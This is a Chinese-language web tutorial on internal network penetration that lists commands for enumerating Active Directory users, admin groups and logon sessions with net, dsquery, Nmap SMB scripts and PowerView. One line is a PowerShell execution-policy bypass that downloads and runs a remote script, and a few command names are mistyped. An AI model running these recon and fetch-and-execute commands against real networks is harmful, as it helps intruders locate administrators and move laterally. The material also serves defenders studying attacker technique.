服务热线
15527777548/18696195380
发布时间:2022-03-10
简要描述:
1.查找所有域用户列表 向域控制器进行查询net user /domain
获取域内用户的详细信息wmic useraccount get /all
获取到的信息包含用户名,描述信息,SID,域名,状态等等。获取存...
向域控制器进行查询
net user /domain
获取域内用户的详细信息
wmic useraccount get /all
获取到的信息包含用户名,描述信息,SID,域名,状态等等。
获取存在的用户(要在 Active Directory 域管理服务器上运行。)
dsquery user dsquery computer 查找目录中的计算机dsquery contact 查找目录中的联系人dsquery subnet 查找目录中的子网dsquery group 查找目录中的组dsquery ou 查找目录中的组织单位dsquery site 查找目录中的站点dsquery server 查找目录中的AD DC/LDS实例dsquery user 查找目录中的用户dsquery partition查找目录中的分区dsquery * 使用通用的LDAP查找目录中的所有对象
查找本地管理员组用户
net localgroup administrators
2.查询域管理用户组
查找域管理员用户
net group “domain admin” /domain
查找管理员用户组
net group “Enterprise Admins” /domain
3.快速定位域管理员
内网渗透的目标是拿到某台特定的用户或计算机的权限,进而拿到特定的数据。
常规定位域管理员的方法
日志:指的是本地机器的管理员日志,可以使用脚本或wevtutil导出查看。 会话:指的是域内每台机器的登录会话,可以使用netsess.exe或powerview等等工具查询 可以匿名查询,不用权限(常用)
常规域管理员定位的工具
如果我们拿到了一台普通用户权限的windows计算机,想要在内网中横向移动,需要知道域内用户登录的位置,是否是本地管理员,他的组,是否有权访问文件共亨等等。
常用的域管理员定位工具有psloggedon.exe,PVEFindADUser,exe,netsess,exe以及huner,Netview等等。
在PowerShell中,常用的工具是PowerView。
psloggedon.exe
在Windows平台上使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户,原理是通过检查注册表的HKEY USERS项的key值来查询谁登录过(HKEY_USERS根键包括默认用户的信息(DEFAULT子键)和所有以前登陆的用户的信息.)但是有些功能需要管理员权限才能调用,而且会调用NetSessionEnum API。
一般来说不用加参数 psloggedon.exe //dc 就行
PVEFindADUser.exe(要管理员权限)
2009年放出来的工具。可以查找活动目录用户登录的位置,枚举域用户等等。
PVEFindADUser.exe -h 显示帮助信息 -current["username"]列出目标计算机上当前登录的所有用户/显示该用户登录的计算机 其他命令不多说,百度就ok
netview.exe(小部分要管理员权限)
利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。调用Api太多不是个好事。
netview.exe 参数 常见参数 -h 查看帮助信息 -d 从当前域中提取主机列表 -d domian 指定提取主机列表的域 -g 在Domain admins组中搜索组名 -g group 指定搜索组名 -c 对找到的共享目录/文件的访问权限进行检查
Nmap的NSE脚本
如果存在域账号/本地账号,我们可以使用Nmap的smb-enum-session.nse脚本来获取远程机器的登录会话。
https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
用法示例
nmap --script smb-enum-sessions.nse -p445 sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139
其他nmap脚本
smb-enum-users.nse下载:https ://svn.nmap.org/nmap/scripts/smb-enum-users.nse使用SAMR枚举或LSA暴力破解不同的技术来枚举远程Windows系统上的用户,并提供尽可能多的信息。默认情况下,两者都使用,但是它们具有特定的优点和缺点。最好同时使用两者,但在某些情况下,最好优先选择两者。用法示例nmap --script smb-enum-users.nse -p445 sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 smb-enum-domains.nse下载https://svn.nmap.org/nmap/scripts/smb-enum-domains.nse尝试枚举系统上的域及其策略。可以获取主机信息,用户,可使用的密码策略的用户等等。用法示例nmap --script smb-enum-domains.nse -p445 sudo nmap -sU -sS --script smb-enum-domains.nse -p U:137,T:139
Powershell下的脚本
powerView脚本
本地调用 powershell.exe -exec bypass -command "&"远程调用 powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1');invoke-stealithuserhunter"域中定位域管理员:Invoke-UserHunter命令,在使用时不需要管理员权限;获取域内所有用户:invoke-stealthuserhunter命令,在使用时不需要管理员权限;隐蔽性高。优先使用其他Get-NetDomain: 获取当前用户所在域的名称Get-NetUser: 获取所有用户的详细信息Get-NetDomainController: 获取所有域控制器的信息Get-NetComputer: 获取域内所有机器的详细信息Get-NetOU: 获取域中的OU信息Get-NetGroup: 获取所有域内组和组成员信息Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息Get-NetShare: 获取当前域内所有网络共享信息Get-NetSession: 获取指定服务器的会话Get-NetRDPSession: 获取指定服务器的远程连接Get-NetProcess: 获取远程主机的进程Get-UserEvent: 获取指定用户的日志Get-ADObiect: 获取活动目录的对象Get-NetGPO: 获取域内所有的组策略对象Get-DomainPolicy: 获取域默认策略或域控制器策略Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。
如果您有任何问题,请跟我们联系!
联系我们